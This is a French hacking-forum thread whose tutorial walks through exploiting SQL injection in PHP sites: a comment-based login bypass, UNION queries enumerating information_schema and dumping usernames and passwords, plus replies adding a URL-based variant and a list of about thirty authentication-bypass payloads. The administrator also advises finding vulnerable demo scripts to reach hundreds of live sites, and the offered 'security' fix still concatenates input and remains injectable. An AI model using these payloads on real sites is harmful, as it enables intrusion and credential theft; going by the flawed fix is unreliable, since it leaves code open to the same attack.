• STATISTIQUES
  • Il y a eu un total de 1 membres et 15819 visiteurs sur le site dans les dernières 24h pour un total de 15 820 personnes!


    Membres: 2 433
    Discussions: 3 585
    Messages: 32 831
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [FR] Zmaster
    Articles sur l'informatique, le hacking, le P2P, les divx, les astuces windows XP, les GSM, Emule, la cryptograph...
    Hacking
    [EN] Framework Metasploit
    Le Framework Metasploit est un logiciel gratuit, open source de tests de pénétration développ&ea...
    Vulnérabilités
    [FR] Infomirmo
    Challenge présenté sous la forme de 6 niveaux de difficultés diverses et variées avec chacun plusieurs chall...
    Challenges
    [EN] Astalavista
    Un site aux ressources incontournable depuis plusieurs années, Astalavista est réellement devenue un cl...
    Hacking
    [FR] Developpez.net
    Un forum communautaire qui se veut pour les développeurs en générale. Avec presque 500 000 membr...
    Programmation
    [EN] Defcon
    Lancé en 1992 par Dark Tangent, DEFCON est la plus ancienne et la plus grande conférence underground de...
    Hacking
    [FR] Root-Me
    Notre équipe se base sur un constat : à l'heure actuelle ou l'information tend à devenir...
    Hacking

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Comment exploiter une faille SQL Injection

Bonjour à tous. Dans ce tuto, je vais vous expliquer comment exploiter une faille de type SQL injection, en décrivant de a-z les étapes et les façons de les détecter, en plus de vous fournir certain codage, pour pousser plus loin et contrôler le site en entier.

Qu’est-ce qu’une injection SQL?
Pour comprendre le sens de cette faille, je vais d’abord devoir passer en revue certaine notions PHP. Prenons exemple sur un formulaire d’authentification, puisque c’est là que ce genre d’exploitation est la plus intéressante.

Lorsque vous valider un formulaire, vos informations sont envoyées vers une page de validation, qui elle vérifie si le pseudo et le mot de passe sont correctes. Si oui, elle active les sessions et vous redirige vers la page des membres. Voici un codage vulnérable à une injection SQL (Structured Query Language).

Le code PHP/HTML :

Code PHP :
<div class="form">
        <
h1>Welcome</h1>
        <
form class="input" method="POST">
                
Pseudo : <input class="form-control" type="text" name="login" placeholder="pseudo"><br>
                
Passsword : <input class="form-control" type="password" name="pass" placeholder="password">
                <
input type="submit" value="Connexion" />
        </
form>
</
div>
<?
php
        
require_once('includes/site.conf.php');
        
$db = new PDO("mysql:host=localhost;dbname=".DBBASEDBUSERDBPSWD);
        
$pseudo $_REQUEST['login'];
        
$pass $_REQUEST['pass'];
 
        
$sql "SELECT * FROM jeux_user WHERE user_login = '".$pseudo."' AND user_password = '".$pass."'";
        
$sql $db->query($sql);
        
$res $sql->fetchAll();
        
$res count($res);
 
        if(
$res == 0){
                echo (
'Error');
        }else{
                echo (
'Welcome');
        }
?>

Maintenant explicitons, dans le code suivant , voilà la requete SQL :

Code :
$sql = "SELECT * FROM jeux_user WHERE user_login = '".$pseudo."' AND user_password = '".$pass."'";

celon cette requête SQL, il faut que le user_login ainsi que le user_password soit valide.

Pour cela nous allons vérifier dans la table jeux_user qu'il y est le Login 'admin' et le password 'a', ainsi , si c'est le cas ,
ma requête va me retourner une ligne, je la stock dans un tableau :

Citation :$res = $sql->fetchAll();

Ensuite je compte le nombre de ligne retourner:

Citation :$res = count($res);

Puis je fais mon petit test :

Citation :if($res == 0){
echo ('Error');
}else{
echo ('Welcome');
}

Maintenant, je me rappel, quand SQL, nous pouvons faire passer des conditions en commentaire, a l'aide d'un '#', alors que se passerait-il
si, à la fin de mon login, je rajoutais un '#' ? admin#, il ne se passe rien, accés refuser, pourquoi ça ?

En faite, lorsque vous voulez exécuter du code SQL sur un serveur,il faut d'abord fermer la chaine de caractere, les personnes ayant déjà
fais un language de prog comprendront, pour les autres, c'est simple il suffit d'ajouter un apostrophe :

admin'#

Avec l'apostrophe, le '#' n'est plus considérer comme une chaine de caractere, et donc on peut t'injecter le code !

Voilà donc comment le server interpret la requete :

$sql = "SELECT * FROM jeux_user WHERE user_login = '".$pseudo."' // AND user_password = '".$pass."'";

Nous venons donc de mettre la condition password en commentaire, seul le login doit être a 'true'.

Pour un minimum de sécuriter vous pouvez faire votre requete en deux parties :

Code :
$sql = "SELECT * FROM jeux_user WHERE user_login = '".$pseudo."'";
$sql = $db->query($sql);
$res = $sql->fetchAll();
$res = COUNT($res);
IF($res){
        $sql = "SELECT * FROM jeux_user WHERE user_password = '".$pass."'";
        $sql = $db->query($sql);
        $res = $sql->fetchAll();
        $res = COUNT($res);
}

Et penser a utiliser la fonction htmlspecialchars pour prévenir a tout autre type de faille !

Me voilà donc pour mon tout 1er tuto sur N-PN, soyez indulgent :< !

Tout d'abord, imaginons un site web ou vous pouvez voir les informations des différents utilisateurs :

Code PHP :
<?php
 
require_once('../includes/site.conf.php');
$db = new PDO("mysql:host=localhost;dbname=".DBBASEDBUSERDBPSWD);
$id $_REQUEST['id'];
 
$sql "SELECT user_login,user_mail FROM jeux_user WHERE user_id = ".$id."";
$sql $db->query($sql);
$res $sql->fetch();
 
var_dump($sql);
 
echo 
"<h1>".$res['user_login']."</h1>";
 
echo 
"<h3>".$res['user_mail']."</h3>";
 
?>

Nous voilà donc sur le profile de l'admin par exemple, si vous rajouter une quote et qu'il y a une erreur, alors il y a une faille SQL !

Maintenant il nous faut le nombre de champs, par exemple, si vous lisez le code, vous voyer qu'il y a deux champs,
user_login et user_mail, si vous faite un order by, vous irez seulement jusqu'a deux.

Citation :profile.php?id=5 order by 2 <- Aucune erreur

Citation :profile.php?id=5 order by 3 <- Erreur

Voilà comment sera interpréter votre requête SQL :

Code :
SELECT user_login,user_mail FROM jeux_user WHERE user_id = 5 order by 2

Ensuite nous allons utiliser union all select qui permet l'affichage des données, pour trouver dans le cas suivant, la version de la BDD:

Citation :profile.php?id=-5 union all select 1,version()

Voilà la requete :

Code :
SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,version()

version en 5.x sont exploitable !

Deux solution maintenant, soit vous êtes sur un CMS et vous connaissez la structure de la BDD et des tables, soit il vous faut la trouver par vous même !

group_concat(schema_name)
information_schema.schemata


La fonction group_concat permet de regrouper tous les résultats sur une ligne, schema_name est une table qui contient le nom de toute les base de données que vous avez.

information_schema est une base donnée qui se génere automatiquement sous phpmyadmin, elle contient les différentes option et configuration de phpmyadmin, dont le nom de toute vos BDD, dans la table schemata !

Citation :profile.php?id=-5 union all select 1,group_concat(schema_name) FROM information_schema.schemata

Voilà la requête envoyé au server :

Code :
SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,group_concat(schema_name) FROM information_schema.schemata

Donc là vous sera retourner les différentes base :

[Image: 418416bdd.png]

group_concat(table_name)

Donc maintenant, il nous faut trouver les différentes table, pour cela on va encore utiliser la fonction groupe_concat, mais cette fois, sur
table_name, qui encore une fois est dans information_schema

Citation :profile.php?id=-5 union all select 1,group_concat(table_name) FROM information_schema.tables

Bien évidement vous avez bien trop de table, le plus simple serait de rajouter une condition pour voir les tables qui nous intéresse

Citation :profile.php?id=-5 union all select 1,group_concat(table_name) FROM information_schema.tables where table_schema = 'jeux'

voilà côté server :

Code :
SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,group_concat(table_name) FROM information_schema.tables where table_schema = 'jeux'

[Image: 697641bdd1.png]

group_concat(column_name)

Maintenant il nous faut les colonnes de cette table, nous allons encore utiliser la table information_schema, celle ci contient une table, column qui contient tout les
colonnes de toute les tables, donc on a besoin de la colonne column_name, de la base information_schema et de la table columns ou nous avons comme condition
table_name le nom de la table qui nous intéresse :

Citation :profile.php?id=-5 union all select 1,group_concat(column_name) FROM information_schema.columns where table_name = 'jeux_user'

voilà côté server :

Code :
SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,group_concat(column_name) FROM information_schema.columns where table_name = 'jeux_user'

[Image: 515431BDD2.png]

Maintenant il ne nous reste plus qu'a récupérer les données qui nous intéresse, donc se sera pour nous les colonnes user_login et user_password :

Citation :profile.php?id=-5 union select user_login,user_password from jeux_user

côté server :

Code :
SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union select user_login,user_password from jeux_user

Vous aurez donc l'identifiant avec le mdp qui apparaitron :

[Image: 15385119np.png]

Si vous avez des questions n'hésiter pas, ou si des explications ne sont pas claire, ou encore si je me suis tromper, dites le Smile ( je m'excuse déjà pour les fautes d'orthographe :< )

.
Soyez intelligent et restez WhiteHat!
Par CyberSee et skii
-> Merci à Skii pour sa contribution et avoir remis ce tuto au gout du jour!
29-01-2007, 21h36
Message : #1
Nuxly Hors ligne
Bon membre
*



Messages : 298
Sujets : 195
Points: 1
Inscription : Oct 2005
Comment exploiter une faille SQL Injection
excellent article!
PN: Move into the future Cool
30-01-2007, 00h57 (Modification du message : 22-10-2011, 01h26 par Di0Sasm.)
Message : #2
CyberSee Hors ligne
Admin fondateur de N-PN
*******



Messages : 1,721
Sujets : 287
Points: 158
Inscription : Jan 2012
Comment exploiter une faille SQL Injection
Merci :-)
J'ai déjà en tête de vous expliquer la faille directory traversal... mais 2 tuto en 2 jour... hehe dossier à suivre.
30-01-2007, 01h36
Message : #3
black-knight Hors ligne
Membre
*



Messages : 39
Sujets : 5
Points: 0
Inscription : Nov 2005
Comment exploiter une faille SQL Injection
un 2 éme k-otik du forum Big Grin Wink good job.
31-01-2007, 02h01
Message : #4
Padboy Hors ligne
Bon membre
*



Messages : 745
Sujets : 19
Points: 5
Inscription : Oct 2005
Comment exploiter une faille SQL Injection
Félicitation pour la qualité de ton article.
31-01-2007, 19h11 (Modification du message : 22-10-2011, 01h28 par Di0Sasm.)
Message : #5
zijeti Hors ligne
Newbie
*



Messages : 1
Sujets : 0
Points: 0
Inscription : Jan 2007
Comment exploiter une faille SQL Injection
C'est très difficile j'arrive pas à comprendre
31-01-2007, 20h30
Message : #6
LuciFer Hors ligne
Newbie
*



Messages : 13
Sujets : 3
Points: 0
Inscription : Jan 2007
Comment exploiter une faille SQL Injection
sympa le tuto
11-02-2007, 06h59 (Modification du message : 22-10-2011, 01h29 par Di0Sasm.)
Message : #7
CyberSee Hors ligne
Admin fondateur de N-PN
*******



Messages : 1,721
Sujets : 287
Points: 158
Inscription : Jan 2012
Comment exploiter une faille SQL Injection
zijeti a écrit :C'est très difficile j'arrive pas à comprendre
Tu n’arrives pas à comprendre quoi exactement?

Si tu ne comprend pas, c'est simplement que tu n'est peut-être pas encore rendu à ce niveaux. Commence pas maîtriser le PHP avant de chercher à exploiter des failles ;-) C'est plus facile si on commence par le début.
13-02-2007, 18h04 (Modification du message : 01-01-2012, 23h34 par Di0Sasm.)
Message : #8
-zaymin-
Non-enregistré



 
Comment exploiter une faille SQL Injection
Ce type de faille est présent sur quel genre de site ?
03-06-2011, 03h08 (Modification du message : 01-01-2012, 23h35 par Di0Sasm.)
Message : #9
CyberSee Hors ligne
Admin fondateur de N-PN
*******



Messages : 1,721
Sujets : 287
Points: 158
Inscription : Jan 2012
Comment exploiter une faille SQL Injection
Sur des milliers de sites en PHP zaymin. Partout sur le web! Je peux en trouver 2 à l'heure lol mais la meilleure place pour chercher, c'est sur des scripts qui se retrouvent publier sur http://www.hotscripts.com. Quand la démo est vulnérable, tu viens de trouver en même temps des centaines et des centaines de sites vulnérables et en plus, tu peux facilement savoir à quoi le code source ressemble.
08-06-2011, 22h24 (Modification du message : 22-10-2011, 01h37 par Di0Sasm.)
Message : #10
Rocket38 Hors ligne
Newbie
*



Messages : 3
Sujets : 0
Points: 0
Inscription : Jan 2007
Comment exploiter une faille SQL Injection
Oui mais on ne peut pas savoir lequel ?
Je ne connais pas bien les failles web.
Mais comment ce fait il que les failles sql soit si répandue alors que cela n'a pas l'air si compliqué de les éviter ?
09-06-2011, 00h35 (Modification du message : 05-09-2015, 13h30 par Di0Sasm.)
Message : #11
CyberSee Hors ligne
Admin fondateur de N-PN
*******



Messages : 1,721
Sujets : 287
Points: 158
Inscription : Jan 2012
Comment exploiter une faille SQL Injection
Eh bien la meilleur façon de trouver des CMS vulnérables est de rechercher ceux qui ont étaient rapporté dans les dernières 24h. Il existe justement une fonction dans google que j'aime bien dans recherche avancé qui permet de faire ce genre de filtration.

google

Le problème avec les failles SQL c'est que dans un site internet, il y a des milliers de requêtes et qu'en oublier une fois de temps en temps sans faire exprès est bien fréquent ... c'est pas tout les programmeurs qui mettent sur pied une class à toute épreuve pour les requêtes.
09-06-2011, 09h01 (Modification du message : 22-10-2011, 01h50 par Di0Sasm.)
Message : #12
Rocket38 Hors ligne
Newbie
*



Messages : 3
Sujets : 0
Points: 0
Inscription : Jan 2007
Comment exploiter une faille SQL Injection
Oui d'accord pour les CMS mais ça c'est des failles toutes faites moi je veux comprendre comment cela fonctionne.
Imaginons que tu testes sur un site, le sigle quote (')
Est ce que s'il te renvoie une erreur SQL il est forcément vulnérable?

J'ai testé sur un site qui me renvoi cette requête

SELECT * FROM users WHERE lower(displayname)=''' or email='\'';

2°)
qu'est ce qui te plait dans les champs avancés, car le lien que tu m'a mis ne me permet pas de trouver des sites vulnérables ou alors j'ai pas compris.

Merci pour ta réponse
09-06-2011, 14h39 (Modification du message : 22-10-2011, 01h51 par Di0Sasm.)
Message : #13
AntoLeNice Hors ligne
Newbie
*



Messages : 13
Sujets : 1
Points: 0
Inscription : Jun 2011
Comment exploiter une faille SQL Injection
N'importe quel site qui utilise des requêtes SQL et qui ne protège pas les champs de ses requêtes est vulnérable. Généralement, les gens utilisent les fonctions mysql_escape_string ou encore addslashes pour éviter ça, mais ceux qui ne le font pas, et qui font les requêtes directement avec les variable $_GET, ils ont foutus. Donc oui, si tu entres un apostrophe et qu'il y a une erreur, il est vulnérable.
10-06-2011, 09h51 (Modification du message : 22-10-2011, 01h52 par Di0Sasm.)
Message : #14
Rocket38 Hors ligne
Newbie
*



Messages : 3
Sujets : 0
Points: 0
Inscription : Jan 2007
Comment exploiter une faille SQL Injection
Ok merci

Encore une petit question imaginons qu'un site soit vulnérable, que les mots de passe soit crypté et que le formulaire de connexion soit pas sensible aux injection sql (or 1=1).
Par contre on peut faire des injections à partir de l'url.

Quel autre façon ya t'il pour se connecter ?
10-06-2011, 19h01 (Modification du message : 22-10-2011, 01h54 par Di0Sasm.)
Message : #15
AntoLeNice Hors ligne
Newbie
*



Messages : 13
Sujets : 1
Points: 0
Inscription : Jun 2011
Comment exploiter une faille SQL Injection
humm, si les injections SQL ne fonctionne pas, tout se que je vois, c'est que si le site utilise des cookies, tu peux essayer de les modifier pour changer la connexion au site. Sinon, je vois pas trop, Cyber pourrait peut-être en dire plus.
27-12-2011, 12h39 (Modification du message : 01-01-2012, 23h44 par Di0Sasm.)
Message : #16
mercurial17 Hors ligne
Newbie
*



Messages : 12
Sujets : 2
Points: 0
Inscription : Dec 2011
Comment exploiter une faille SQL Injection
Merci ! Je ne connais pas très bien le PHP et pourtant j'ai compris tout ton tuto, c'est super bien expliqué. Par contre j'ai une question : Il me semble que cette faille est très connue donc je voulais savoir s'il existait encore des sites qui présentaient cette faille ?
27-12-2011, 14h54 (Modification du message : 01-01-2012, 23h52 par Di0Sasm.)
Message : #17
Adns Hors ligne
Newbie
*



Messages : 4
Sujets : 1
Points: 0
Inscription : Dec 2011
Comment exploiter une faille SQL Injection
Bonjour,

L'article est plutôt clair et précis Smile
Si je peux me permettre quelques remarques Smile

Citation :Prenons exemple sur un formulaire d’authentification, puisque c’est là que ce genre d’exploitation est la plus intéressante.

Il y a aussi une autre grosse utilisation de ce genre de faille. C'est de pouvoir afficher des données qui ne nous sont pas accessibles.

Je suis sur que toute personne ayant déjà regardé de plus près une URL a déjà vu ce genre de chose :

Code :
http://site.com/article.php?id=255

Et bien ici aussi il existe une potentielle faille.

Voyons un code vulnérable et assez simpliste:

Code PHP :
<?php
    
    $id 
$_GET['id'];
    
$res mysql_query("select titre, contenu from article where id='".$id."'");
    
$row mysql_fetch_array($res);
    
    echo 
"<h2>".$row['titre']."</h2>";
    
    echo 
"<p>".$row['contenu']."</p>";
    
?>

Ce code devrait parfaitement fonctionner jusqu'à ce qu'un petit malin vienne jouer avec la variable $id qui n'est pas sécurisé.

Pour vérifier que faille il y a il suffit de tester le caractère ' a la fin du chiffre qui représente l'id de l'article.

Exemple :
Code :
http://site.com/article.php?id=255'

Si une erreur se produit lors de l'affichage de la page cela signifie que la faille existe. il ne reste plus qu'à l'exploiter.

Pour cela il faut jouer avec un mot clé de SQL qui est UNION ALL.
Dans une requête SQL UNION ALL permet d'obtenir toutes les données de plusieurs tables.

La première étape lors de ce genre d'exploitation consiste à "brute-forcer" pour connaitre le nombre de champ utilisé dans la requête à modifier.

select titre, contenu from article

Ici je pars du principe que la faille se trouve sur un CMS et donc que l'on a accès à la structure de la table. Lorsque ce n'est pas le cas il existe différentes manières pour les obtenir...

Revenons en à notre brute-force et passons à la pratique.
Code :
Test 1 : http://site.com/article.php?id=0' union all select 1 from article --

Explications :
  • l'apostrophe permet de fermer la chaine de caractère et ainsi injecter notre code.
  • UNION ALL permettra d'afficher les données d'une autre table.
  • -- permet de mettre la suite de la requête en commentaire pour qu'elle ne soit pas exécutée.
  • le fait de mettre un 0 comme ID permettra d'afficher uniquement les données de l'autre table et non les données relative à un article existant.

Cette requête nous renverra une erreur car la requête initiale utilise 2 champs : Titre et contenu.

Code :
Test 2 : http://site.com/article.php?id=0' union all select 1,2 from article --

Bingo !!
Cette requête affichera dans la page 1 à la place du titre et 2 à la place du contenu
Dans ce cas là ce fut plutôt rapide car il n'y avait que 2 champs, mais cela peut-être beaucoup plus long s'il y a plus de champs.


Une fois arrivé ici il suffit de remplacer les 1 et 2 par les données sensibles qui nous intéressent comme les identifiants de connexion d'un admin Wink

Exemple :

Code :
http://site.com/article.php?id=0' union all select user,password from users --

En espérant avoir été clair Smile

Adns
27-12-2011, 15h35 (Modification du message : 01-01-2012, 23h45 par Di0Sasm.)
Message : #18
Luxerails Hors ligne
Bon membre
*



Messages : 267
Sujets : 6
Points: 67
Inscription : Aug 2011
Comment exploiter une faille SQL Injection
mercurial17 a écrit :Il me semble que cette faille est très connue donc je voulais savoir s"il existait encore des sites qui présentaient cette faille ?

Je dirais que les injections SQL réprésentent 90% des failles web Wink
29-12-2011, 15h26
Message : #19
mercurial17 Hors ligne
Newbie
*



Messages : 12
Sujets : 2
Points: 0
Inscription : Dec 2011
Comment exploiter une faille SQL Injection
ah tant que ça ?! merci d'avoir répondu
10-06-2012, 14h09
Message : #20
ThibauT Hors ligne
Keyboard not found, press F1 to resume.
*



Messages : 348
Sujets : 6
Points: 69
Inscription : Jun 2012
RE: Comment exploiter une faille SQL Injection
Bravo pour ton tutoriel qui explique une faille pas si facile que ça à exploiter, de manière très ludique. D'autant plus que cette faille est très présente.
Martin Golding a écrit :"Always code as if the guy who ends up maintaining your code will be a violent psychopath who knows where you live."

Gnomino a écrit :et quand je suis payé je fais ce qu'on me demande :B
15-09-2012, 10h30
Message : #21
load@data Hors ligne
ѕє¢υяιту ιѕ נυѕт αη ιℓℓυѕιση



Messages : 42
Sujets : 8
Points: 8
Inscription : Sep 2012
RE: Comment exploiter une faille SQL Injection
Merci, Mais il faut savoir que le serveur side, peut reconnêtre une requête corrompue et d'autre non donc je vous laisse avec un petit choixde scripts à injecter dans le champs :

Citation :') OR ('a' = 'a
') OR ('1'-'1
'or''='
' OR '1=1
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 *
" or 0=0 *
or 0=0 *
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
' or 1=1--
or a=a--
' or 1=1--
1' having '1'='1'--
' or 'x'='x--
foo'+OR+'1'='1

Ceci sont les plus connues !

Load,
18-06-2013, 14h50
Message : #22
LeuhVa Hors ligne
Membre
*



Messages : 35
Sujets : 3
Points: 2
Inscription : May 2013
RE: Comment exploiter une faille SQL Injection
Plop !
J'ai up un article de Nikoskoda(hzv) qui offre un autre tour d'horizon sur les sql !
ça vaut l'coup d'oeil !
c'est là !
18-06-2013, 14h53
Message : #23
ark Hors ligne
Psyckomodo!
*****



Messages : 1,033
Sujets : 48
Points: 317
Inscription : Sep 2011
RE: Comment exploiter une faille SQL Injection
Merci LeuhVa pour le partage, ça a l'air vraiment complet comme article :)
18-06-2013, 15h55
Message : #24
WizOut Hors ligne
Black Slave Coder
*



Messages : 111
Sujets : 13
Points: 14
Inscription : Apr 2012
RE: Comment exploiter une faille SQL Injection
J'ai un autre article enfin post pour compléter le tous pour bypass les sécurités

http://top-hat-sec.com/forum/index.php?topic=2049.0
"Il existe deux choses infinies : l'univers et la bêtise humaine" Einstein.
PHP/MySQL (POO & PDO) : OK
HTML5/CSS3 : OK
JAVA : En cours
02-12-2014, 23h55
Message : #25
Ambrosios Hors ligne
C'est moi :D
*



Messages : 8
Sujets : 1
Points: -6
Inscription : Oct 2014
RE: Comment exploiter une faille SQL Injection
Merci CyberSee, encore un super tuto Big Grin
J'utilise PDO avec des fonctions prepare() et execute() pour gérer les variables. Ce risque d'injection SQL est-il toujours présent ?
03-12-2014, 00h12
Message : #26
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: Comment exploiter une faille SQL Injection
oui les injections sql ça existe toujours et ça marche bien, attention au déterrage de topic, le dernier post date de +1.5 an tout de même (et on a pas revu CyberSee depuis près d'un an accessoirement)
Avant donc que d'écrire, apprenez à penser.
Selon que notre idée est plus ou moins obscure, l'expression la suit, ou moins nette, ou plus pure.
Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément.
(Nicolas Boileau, L'Art poétique)
04-09-2015, 21h21 (Modification du message : 04-09-2015, 22h29 par Di0Sasm.)
Message : #27
CyberSee Hors ligne
Admin fondateur de N-PN
*******



Messages : 1,721
Sujets : 287
Points: 158
Inscription : Jan 2012
RE: Comment exploiter une faille SQL Injection
"coucou" accessoirement lol
Au risque de me répéter, la règle du déterrage de topic ne s'applique pas à la zone des tutos ;-)
Code PHP :
<?php
$pape 
"pape"; echo $pape
// Le $pape en string!
?>
05-09-2015, 11h03
Message : #28
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: Comment exploiter une faille SQL Injection
"coucou lol"
hésite pas à écumer tous les topics du siècle dernier surtout, c'est super utile Big Grin
Avant donc que d'écrire, apprenez à penser.
Selon que notre idée est plus ou moins obscure, l'expression la suit, ou moins nette, ou plus pure.
Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément.
(Nicolas Boileau, L'Art poétique)
10-09-2015, 16h05
Message : #29
CyberSee Hors ligne
Admin fondateur de N-PN
*******



Messages : 1,721
Sujets : 287
Points: 158
Inscription : Jan 2012
RE: Comment exploiter une faille SQL Injection
C'est "utile" dans l'optique que le dernier message posté ne soit pas un découragement pour les questions sur ce tuto où n'importe quel autre enfaite ;-)
Code PHP :
<?php
$pape 
"pape"; echo $pape
// Le $pape en string!
?>
11-09-2015, 10h02
Message : #30
ark Hors ligne
Psyckomodo!
*****



Messages : 1,033
Sujets : 48
Points: 317
Inscription : Sep 2011
RE: Comment exploiter une faille SQL Injection
J'aurais tendance a dire qu'on a irc pour les questions rapides, et aussi pour discuter si les avis divergent sur un point. Wink
16-09-2015, 15h34
Message : #31
CyberSee Hors ligne
Admin fondateur de N-PN
*******



Messages : 1,721
Sujets : 287
Points: 158
Inscription : Jan 2012
RE: Comment exploiter une faille SQL Injection
C'est sur qu’IRC est bien pour poser une question, mais le forum lui permet à la question de garder une trace et fini par ce faire indexer ce qui en plus de permettre à la réponse à passer en postérité, nous emmène plus de visiteurs et possiblement des futures membres.
Code PHP :
<?php
$pape 
"pape"; echo $pape
// Le $pape en string!
?>
16-09-2015, 20h34
Message : #32
supersnail Hors ligne
Éleveur d'ornithorynques
*******



Messages : 1,613
Sujets : 72
Points: 466
Inscription : Jan 2012
RE: Comment exploiter une faille SQL Injection
Enfin on a http://irclog.n-pn.fr/ qui permet de garder une trace d'IRC (merci à Booster2ooo d'avoir mis en place ce service, et à Di0sasm de l'avoir rendu disponible via un sous-domaine Wink).

Puis si certaines questions sont récurrentes, c'est peut-être que le tutoriel est mal rédigé, auquel cas modifier le tuto pour éclaircir les interrogation me paraît finalement assez judicieux. Et honnêtement quand on voit le niveau de certaines questions, le mec skilled (qui peut apporter du concret à la commu) risque de se dire "omgwtfbbq c'est quoi cette board, je retourne sur zenk" :')

Anyway la commu est plus active sur IRC que sur le forum (manque de temps/flemme de rédiger un post plus formel alors qu'une discussion sur IRC se fait naturellement), why not si un volontaire se propose pour faire un résumé des trucs intéressants qui se disent sur IRC pour le forum Wink.
Mon blog

Code :
push esp ; dec eax ; inc ebp ; and [edi+0x41],al ; dec ebp ; inc ebp

"VIM est merveilleux" © supersnail
22-09-2015, 21h53
Message : #33
CyberSee Hors ligne
Admin fondateur de N-PN
*******



Messages : 1,721
Sujets : 287
Points: 158
Inscription : Jan 2012
RE: Comment exploiter une faille SQL Injection
irclog c'est bien mais les réponse ne sont pas posté au bon endroit.
Bref, le tuto a été mise à jour avec la contribution de skii ;-)
Code PHP :
<?php
$pape 
"pape"; echo $pape
// Le $pape en string!
?>